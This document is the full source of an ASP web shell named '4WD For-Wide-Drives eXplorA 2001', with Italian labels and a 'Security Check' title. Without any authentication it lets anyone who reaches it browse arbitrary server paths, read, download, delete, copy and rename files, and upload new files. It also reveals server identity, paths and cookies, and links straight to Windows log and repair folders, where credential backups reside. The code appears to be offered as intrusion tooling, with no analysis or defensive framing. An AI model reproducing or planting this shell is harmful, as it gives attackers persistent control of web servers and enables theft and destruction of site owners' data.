Cyberheb

<%
Exit
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Response.Buffer = true
ImgOFolder  = "http://liquidmirror.com/OFolder.gif"
ImgCFolder  = "http://liquidmirror.com/CFolder.gif"
'ImgOFolder = "OFolder.gif"
'ImgCFolder = "CFolder.gif"

If Request.QueryString("Download")="true" Then
    Usa = checkDownload
    strFile = Request.QueryString("strFile")
    strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
    Set fso = Server.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(strFile)  Then
            if Usa = "ADO" then
                set ADOstream = Server.CreateObject("ADODB.Stream")
                    ADOstream.Type = 1  'adTypeBinary
                    ADOstream.Open
                    ADOstream.LoadFromFile strFile
                    strContents = ADOstream.Read
                    ADOstream.Close
                Set ADOstream = Nothing
            else
                Set Out = fso.OpenTextFile (strFile, 1, FALSE, FALSE)
                    strContents = Out.ReadAll
                    Out.Close
                Set Out = Nothing
            end if

            'Write the contents out to the html stream
            Select Case Right(strFile, 3)
                Case "xxxx"
                    'work in progress
                Case Else
                    Response.ContentType = "text/octet-stream"
                    Response.AddHeader "Content-disposition","filename=" & strFileName
                    Response.BinaryWrite strContents
            End Select

        Else
        Response.Write "Error. File not found."
        end If
Set fso = nothing
Response.end
End If

If Request.QueryString("Delete")="true" Then
    strFile = Request.QueryString("strFile")
    strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
    Set fso = Server.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(strFile)  Then
            Set a = fso.GetFile(strFile)
            a.delete
            Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
        Else
            Response.Write "Error. File not found."
        end If
Set fso = nothing
Set a = nothing
Response.end
End If

If Request.QueryString("Copy")="true" Then
    strFile = Request.QueryString("strFile")
    strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
    Set fso = Server.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(strFile)  Then
            Set a = fso.GetFile(strFile)
            a.copy (Request.QueryString("strDestPath"))
            Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
        Else
            Response.Write "Error. File not found."
        end If
Set fso = nothing
Set a = nothing
Response.end
End If

If Request.QueryString("Rename")="true" Then
    strFile = Request.QueryString("strFile")
    strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
    Set fso = Server.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(strFile)  Then
            Set a = fso.GetFile(strFile)
            a.copy (mid(strFile,1,len(strFile) - len(strFileName)) & Request.QueryString("strDestFileName"))
            a.delete
            Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
        Else
            Response.Write "Error. File not found."
        end If
Set fso = nothing
Set a = nothing
Response.end
End If

If Request.QueryString("Read")="true" Then
    strFile = Request.QueryString("strFile")
    strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
        ilfile=server.mappath("strFile")
        Set file = CreateObject("Scripting.FileSystemObject")
        Set ilfile = file.OpenTextFile(strFile, 1, False)

                        counter=0
                        do while not ilfile.AtEndOfStream
                        counter=counter+1
                        illine=ilfile.readline
                        response.write illine & "<br>"
                        loop
                        ilfile.Close
set ilfile=nothing
set file=nothing
Response.end
End If


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Constants returned by Drive.DriveType
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const DriveTypeRemovable = 1
Const DriveTypeFixed = 2
Const DriveTypeNetwork = 3
Const DriveTypeCDROM = 4
Const DriveTypeRAMDisk = 5

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Constants returned by File.Attributes
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const FileAttrNormal   = 0
Const FileAttrReadOnly = 1
Const FileAttrHidden = 2
Const FileAttrSystem = 4
Const FileAttrVolume = 8
Const FileAttrDirectory = 16
Const FileAttrArchive = 32
Const FileAttrAlias = 64
Const FileAttrCompressed = 128


%>

    <HTML>
    <HEAD>
        <TITLE>Security Check</TITLE>

        <STYLE>
A  {
    color : #0000CD;
    text-decoration : none;
    font-size : 12px;
    font-face: Terminal;
}

A:visited  {
    color : #0000CD;
    text-decoration : none;
}

A:hover  {
    color : #8A2BE2;
}


TD.table
{
    color : #000000;
    text-decoration : none;
    font-size : 10px;
    font-family : Terminal;
    text-align : left;
}


        </STYLE>
    </HEAD>

<br><hr color="#0000CD"><br>
<table cellpadding="3" cellspacing="3" border="5" bordercolor="#0000CD">
<tr>
<td align="left" bgcolor="#F8F8FF">
<font color="#0000CD" size="2"><b>• Info del server.</b></font>
</td>
<td align="left" bgcolor="#F8F8FF">
<font color="#0000CD" size="2"><b>• Info del client.</b></font>
</td>
</tr>
<tr>
<td align=left>
<div align=left><font color="#0000CD" size="3">
<b>User</b>: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %> <br>
<b>ID</b>: <%=request.servervariables("SERVER_NAME")%> <br>
<b>IP</b>: <%=request.servervariables("LOCAL_ADDR")%> <br>
<b>HTTPD</b>: <%=request.servervariables("SERVER_SOFTWARE")%> <b>Port</b>: <%=request.servervariables("SERVER_PORT")%> <br>
<b>Dove sta il sito?</b>: <%=request.servervariables("APPL_PHYSICAL_PATH")%> <br>
<b>LogRoot</b>: <%=request.servervariables("APPL_MD_PATH")%> <br>
<b>Data</b>: <% =date() %> <br>
<b>Ora</b>: <%=time() %> <br>
<b>HTTPs</b>: <%=request.servervariables("HTTPS")%>
<br></font></div>
</td>
<td align="left" valign="top"><font color="#0000CD" size="3">
<b>Indirizzo locale</b>: <%=request.servervariables("REMOTE_ADDR")%> <br>
<b>Forwarded from</b> : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> <br>
<b>Via</b>: <%=request.servervariables("HTTP_VIA")%> <br>
<b>User Agent</b>: <%=request.servervariables("HTTP_USER_AGENT")%> <br>
<b>Wookie</b>: <%=request.servervariables("HTTP_WOOKIE")%> <br>
<b>Cache Control</b>: <%=request.servervariables("HTTP_CACHE_CONTROL")%> <br>
<b>Interfaccia</b>: <%=request.servervariables("GATEWAY_INTERFACE")%> <br>
<b>Protocollo</b>: <%=request.servervariables("SERVER_PROTOCOL")%> <br>
<b>Metodo</b>: <%=request.servervariables("REQUEST_METHOD")%> <br>
<b>Porta Remota</b>: <%=request.servervariables("REMOTE_PORT")%> <br>
<b>HTTP_COOKIE</b>: <%=request.servervariables("HTTP_COOKIE")%> <br>
</font></td></tr></table><br><hr color="#0000CD"><br>
<b><font color="#0000CD" size="3">Directory:</b></font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\winnt\system32\logfiles\"><font color="#0000CD" size="3">Logs 1</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\windows\system32\logfiles\"><font color="#0000CD" size="3">Logs 2</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d\winnt\system32\logfiles\"><font color="#0000CD" size="3">Logs 3</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\windows\system32\logfiles\"><font color="#0000CD" size="3">Logs 4</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=<%=request.servervariables("APPL_PHYSICAL_PATH")%>"><font color="#0000CD" size="3">Site</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\winnt\repair\"><font color="#0000CD" size="3">Repair 1</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\winnt\repair\"><font color="#0000CD" size="3">Repair 2</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\windows\repair\"><font color="#0000CD" size="3">Repair 3</font></a><font color="#0000CD" size="3"> - </font>
<a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\windows\repair\"><font color="#0000CD" size="3">Repair 4</font></a><font color="#0000CD" size="3"> - </font>

<br><hr color="#0000CD"><br>
<body bgColor=#ffffff>

 <CENTER><P ALIGN="CENTER">



    <%
            strDir = Request("strPath")
            if strDir = "" Then strDir = Server.MapPath("/")
            If Right(strDir, 1) <> "\" Then strDir = strDir & "\"
            strParse = strDir
            lngPos = InStr(1, strParse, "\")
            strOut = "<A HREF=""explore.asp?strPath=" & Mid(strParse, 1, lngPos) & """><IMG SRC="""&ImgOFolder&""" BORDER=""0"">" & Left(strParse, lngPos) & "</A><BR>"

            x = 2
            Do While lngPos <> 0
                oldPos = lngPos
                lngPos = InStr(oldPos + 1, strParse, "\")
                if lngPos = 0 Then Exit Do
                For y = 1 to x
                    strIndent = strIndent & "&nbsp;"
                Next 'y
                strOut = strOut & strIndent & "<A HREF=""explore.asp?strPath=" & Mid(strParse, 1, lngPos) & """><IMG SRC="""&ImgOFolder&""" BORDER=""0"">" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "</A><BR>"

                x = x + 2

                if lngPos = Len(strParse) Then Exit Do
            Loop
'           Response.Write("<TD class=""table"">")
            Response.Write(strOut)
            strIndent = strIndent & "&nbsp;&nbsp;"
            Set objFSObject = CreateObject("Scripting.FileSystemObject")
            Set objFolder = objFSObject.GetFolder(strDir)
            Set colFolders = objFolder.SubFolders

            For Each intFol in colFolders
                strFName = intFol.name
                Response.Write(strIndent & "<A HREF=""explore.asp?strPath=" & intFol.Path & """><IMG SRC="""&ImgCFolder&""" BORDER=""0""> " & strFName &"</a><br>" & vbcrlf)
            Next 'intFol

            Set colFiles = objFolder.Files
%>

        </td>
        <td bgcolor=#b0c4de width="250"><center><font face="Terminal"><font size="5px">¬?¬?¬±¬±¬?¬? 4WD ¬?¬?¬±¬±¬?¬? <br>For-Wide-Drives</font><br><br><br>eXplorA 2001 a</font></center></td>
    </tr>
</table>

<br>
<br>



<table width="100%" border="1" cellpadding=1 cellspacing=0 bordercolordark=#9370db bordercolorlight=#b0c4de bordercolor=#9370db>
    <tr bgcolor=#b0c4de>
        <td class="table">name</td>
        <td class="table">type</td>
        <td class="table">attrib</td>
        <td class="table">build</td>
        <td class="table">access</td>
        <td class="table">modificate</td>
        <td class="table">size</td>
        <td class="table">commands</td>
    </tr>
<%
for each colfile in colfiles%>
    <%=GenerateFileInformation(colFile)%>
<%
next
%>
</TABLE>



<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
Const IncludeType = 2
Dim UploadSizeLimit
Function GetUpload()
Dim Result
Set Result = Nothing
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Dim CT, PosB, Boundary, Length, PosE
CT = Request.ServerVariables("HTTP_Content_Type")
If LCase(Left(CT, 19)) = "multipart/form-data" Then
PosB = InStr(LCase(CT), "boundary=")
If PosB > 0 Then Boundary = Mid(CT, PosB + 9)
PosB = InStr(LCase(CT), "boundary=")
If PosB > 0 then
PosB = InStr(Boundary, ",")
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
end if
Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
If "" & UploadSizeLimit <> "" Then
UploadSizeLimit = CLng(UploadSizeLimit)
If Length > UploadSizeLimit Then
Request.BinaryRead (Length)
Err.Raise 2, "GetUpload", "Upload size " & FormatNumber(Length, 0) & "B exceeds limit of " & FormatNumber(UploadSizeLimit, 0) & "B"
Exit Function
End If
End If
If Length > 0 And Boundary <> "" Then
Boundary = "--" & Boundary
Dim Head, Binary
Binary = Request.BinaryRead(Length)
Set Result = SeparateFields(Binary, Boundary)
Binary = Empty
Else
Err.Raise 10, "GetUpload", "Zero length request ."
End If
Else
Err.Raise 11, "GetUpload", "No file sent."
End If
Else
Err.Raise 1, "GetUpload", "Bad request method."
End If
Set GetUpload = Result
End Function
Function SeparateFields(Binary, Boundary)
Dim PosOpenBoundary, PosCloseBoundary, PosEndOfHeader, isLastBoundary
Dim Fields
Boundary = StringToBinary(Boundary)
PosOpenBoundary = InStrB(Binary, Boundary)
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary, 0)
Set Fields = CreateObject("Scripting.Dictionary")
Do While (PosOpenBoundary > 0 And PosCloseBoundary > 0 And Not isLastBoundary)
Dim HeaderContent, FieldContent, bFieldContent
Dim Content_Disposition, FormFieldName, SourceFileName, Content_Type
Dim Field, TwoCharsAfterEndBoundary
PosEndOfHeader = InStrB(PosOpenBoundary + Len(Boundary), Binary, StringToBinary(vbCrLf + vbCrLf))
HeaderContent = MidB(Binary, PosOpenBoundary + LenB(Boundary) + 2, PosEndOfHeader - PosOpenBoundary - LenB(Boundary) - 2)
bFieldContent = MidB(Binary, (PosEndOfHeader + 4), PosCloseBoundary - (PosEndOfHeader + 4) - 2)
GetHeadFields BinaryToString(HeaderContent), Content_Disposition, FormFieldName, SourceFileName, Content_Type
Set Field = CreateUploadField()
Set FieldContent = CreateBinaryData()
FieldContent.ByteArray = bFieldContent
FieldContent.Length = LenB(bFieldContent)
Field.Name = FormFieldName
Field.ContentDisposition = Content_Disposition
Field.FilePath = SourceFileName
Field.FileName = GetFileName(SourceFileName)
Field.ContentType = Content_Type
Field.Length = FieldContent.Length
Set Field.Value = FieldContent
Fields.Add FormFieldName, Field
TwoCharsAfterEndBoundary = BinaryToString(MidB(Binary, PosCloseBoundary + LenB(Boundary), 2))
isLastBoundary = TwoCharsAfterEndBoundary = "--"
If Not isLastBoundary Then
PosOpenBoundary = PosCloseBoundary
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary)
End If
Loop
Set SeparateFields = Fields
End Function
Function GetHeadFields(ByVal Head, Content_Disposition, Name, FileName, Content_Type)
Content_Disposition = LTrim(SeparateField(Head, "content-disposition:", ";"))
Name = (SeparateField(Head, "name=", ";"))
If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
FileName = (SeparateField(Head, "filename=", ";"))
If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2)
Content_Type = LTrim(SeparateField(Head, "content-type:", ";"))
End Function
Function SeparateField(From, ByVal sStart, ByVal sEnd)
Dim PosB, PosE, sFrom
sFrom = LCase(From)
PosB = InStr(sFrom, sStart)
If PosB > 0 Then
PosB = PosB + Len(sStart)
PosE = InStr(PosB, sFrom, sEnd)
If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
If PosE = 0 Then PosE = Len(sFrom) + 1
SeparateField = Mid(From, PosB, PosE - PosB)
Else
SeparateField = Empty
End If
End Function
Function GetFileName(FullPath)
Dim Pos, PosF
PosF = 0
For Pos = Len(FullPath) To 1 Step -1
Select Case Mid(FullPath, Pos, 1)
Case "/", "\": PosF = Pos + 1: Pos = 0
End Select
Next
If PosF = 0 Then PosF = 1
GetFileName = Mid(FullPath, PosF)
End Function
Function BinaryToString(Binary)
dim cl1, cl2, cl3, pl1, pl2, pl3
Dim L
cl1 = 1
cl2 = 1
cl3 = 1
L = LenB(Binary)
Do While cl1<=L
pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
cl1 = cl1 + 1
cl3 = cl3 + 1
if cl3>300 then
pl2 = pl2 & pl3
pl3 = ""
cl3 = 1
cl2 = cl2 + 1
if cl2>200 then
pl1 = pl1 & pl2
pl2 = ""
cl2 = 1
End If
End If
Loop
BinaryToString = pl1 & pl2 & pl3
End Function
Function BinaryToStringold(Binary)
Dim I, S
For I = 1 To LenB(Binary)
S = S & Chr(AscB(MidB(Binary, I, 1)))
Next
BinaryToString = S
End Function
Function StringToBinary(String)
Dim I, B
For I=1 to len(String)
B = B & ChrB(Asc(Mid(String,I,1)))
Next
StringToBinary = B
End Function
Function vbsSaveAs(FileName, ByteArray)
Dim FS, TextStream
Set FS = CreateObject("Scripting.FileSystemObject")
Set TextStream = FS.CreateTextFile(FileName)
TextStream.Write BinaryToString(ByteArray)
TextStream.Close
End Function
</SCRIPT>
<SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
function CreateUploadField(){ return new uf_Init() }
function uf_Init(){
this.Name = null
this.ContentDisposition = null
this.FileName = null
this.FilePath = null
this.ContentType = null
this.Value = null
this.Length = null
}
function CreateBinaryData(){ return new bin_Init() }
function bin_Init(){
this.ByteArray = null
this.Length = null
this.String = jsBinaryToString
this.SaveAs = jsSaveAs
}
function jsBinaryToString(){
return BinaryToString(this.ByteArray)
}
function jsSaveAs(FileName){
return vbsSaveAs(FileName, this.ByteArray)
}
</SCRIPT>

<%
function Start()
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Set Fields = GetUpload()
FilePath = Request.QueryString("strPath")
if len(FilePath) <> 0 then
    if mid(FilePath, len(FilePath), 1) <> "\" then FilePath = FilePath & "\"
    FilePath = FilePath & Fields("File1").Filename
else
    FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
end if

Fields("File1").Value.SaveAs FilePath
strFile = Request.QueryString("strFile")
strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
Response.redirect "explore.asp?strPath=" & Request.QueryString("strPath")
End If
end function
%>
<br><center>
<p>._.-¬?'¬?-._.->File Upload Zone<-._.-¬?'¬?-._.</p>
<p><form method=post ENCTYPE="multipart/form-data">
<p>File :
  <input type="file" name="File1">
  <br>
  <input type="submit" Name="Action" value="Upload the file" style='font-family:Terminal;color:#0000CD' action=<%Start%>>
  <INPUT TYPE='HIDDEN' NAME='strPath' VALUE=" & Request.QueryString(strPath)>
</form></p></center>

<br>
<center><font face="Terminal" size="1px">
</p>
<p>©Copyright For-Wide-Drives</font></center> </p>

</body>
</html>
<%


Function ShowFileAttr(File) ' File can be a file or folder

   Dim S
   Dim Attr

   Attr = File.Attributes

   If Attr = 0 Then
      ShowFileAttr = "Normal"
      Exit Function
   End If

   If Attr And FileAttrDirectory Then S = S & "Dir "
   If Attr And FileAttrReadOnly Then S = S & "R "
   If Attr And FileAttrHidden Then S = S & "H "
   If Attr And FileAttrSystem Then S = S & "S "
   If Attr And FileAttrVolume Then S = S & "V "
   If Attr And FileAttrArchive Then S = S & "A "
   If Attr And FileAttrAlias Then S = S & "Al "
   If Attr And FileAttrCompressed Then S = S & "Compressed "

   ShowFileAttr = S

End Function

Function GenerateFileInformation(File)

   Dim S
'   jFilePath = replace(File.Path,"\","\\")
'   jFilePath = replace(jFilePath,"'","\'")

   S = "<tr><td class=""table""><A HREF=""explore.asp?Download=true&strFile=" & File.Path & """>" & File.Name & "</a></td>"
   S = S & "<td class=""table"">" & File.Type & "</td>"
   S = S & "<td class=""table"">" & ShowFileAttr(File) & "</td>"
   S = S & "<td class=""table"">" & File.DateCreated & "</td>"
   S = S & "<td class=""table"">"
   on error resume next
   S = S & File.DateLastAccessed
   err.clear
   on error goto 0
   S = S & "</td>"
   S = S & "<td class=""table"">" & File.DateLastModified & "</td>"
   S = S & "<td class=""table"">" & File.Size & "</td>"
   S = S & "<td class=""table"">" & DelCopyRen(File) & "</td></tr>"

   GenerateFileInformation = S

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' ShowFileAttr
' Purpose:
'    Generates a string describing the attributes of a file or folder.
' Demonstrates the following
'  - File.Attributes
'  - Folder.Attributes
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowFileAttr(File) ' File can be a file or folder

   Dim S
   Dim Attr

   Attr = File.Attributes

   If Attr = 0 Then
      ShowFileAttr = "Normal"
      Exit Function
   End If

   If Attr And FileAttrDirectory Then S = S & "Dir "
   If Attr And FileAttrReadOnly Then S = S & "R "
   If Attr And FileAttrHidden Then S = S & "H "
   If Attr And FileAttrSystem Then S = S & "S "
   If Attr And FileAttrVolume Then S = S & "V "
   If Attr And FileAttrArchive Then S = S & "A "
   If Attr And FileAttrAlias Then S = S & "Al "
   If Attr And FileAttrCompressed Then S = S & "Compressed "

   ShowFileAttr = S

End Function



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' ShowDriveType
' Purpose:
'    Generates a string describing the drive type of a given Drive object.
' Demonstrates the following
'  - Drive.DriveType
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowDriveType(Drive)

   Dim S

   Select Case Drive.DriveType
   Case DriveTypeRemovable
      S = "Removable"
   Case DriveTypeFixed
      S = "Fixed"
   Case DriveTypeNetwork
      S = "Network"
   Case DriveTypeCDROM
      S = "CD-ROM"
   Case DriveTypeRAMDisk
      S = "RAM Disk"
   Case Else
      S = "Unknown"
   End Select

   ShowDriveType = S

End Function



function spazia(stringa,lunghezzatotale)
    spaz = ""
    for i = 1 to lunghezzatotale - len(stringa)
        spaz = spaz & " "
    next
    spazia = spaz
end function

function checkDownload()

    Dim ADOstream
    on error resume next
    'Create a stream object
    set ADOstream = Server.CreateObject("ADODB.Stream")
    if ADOstream is nothing then
        checkDownload = "FSO"
    else
        checkDownload = "ADO"
    end if
    set ADOstream = nothing

    on error goto 0

end function


Function DelCopyRen(File)

   Dim S

   S = "<A HREF=""explore.asp?Read=true&strFile=" & File & """>" & "Read " & "</a>"
   S = S & "<A HREF=""explore.asp?Delete=true&strFile=" & File & """>" & "Delete" & "</a>"
   S = S & "<FORM ACTION='explore.asp' METHOD='GET'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='Copy' VALUE='true'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='strFile' VALUE='" & File & "'>"
   S = S & "<INPUT TYPE='SUBMIT' NAME='SUBMIT1' VALUE='Copy to' "
   S = S & "style='width:50px;font-family:Terminal;color:#0000CD'>"
   S = S & " Destination Path: <INPUT TYPE='INPUT' WIDTH='70' NAME='strDestPath'></FORM>"
   S = S & "<FORM ACTION='explore.asp' METHOD='GET'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='Rename' VALUE='true'>"
   S = S & "<INPUT TYPE='HIDDEN' NAME='strFile' VALUE='" & File & "'>"
   S = S & "<INPUT TYPE='SUBMIT' NAME='SUBMIT2' VALUE='Rename to' "
   S = S & "style='width:60px;font-family:Terminal;color:#0000CD'>"
   S = S & " Destination FileName: <INPUT TYPE='INPUT' WIDTH='70' NAME='strDestFileName'></FORM>"

   DelCopyRen = S

End Function

%>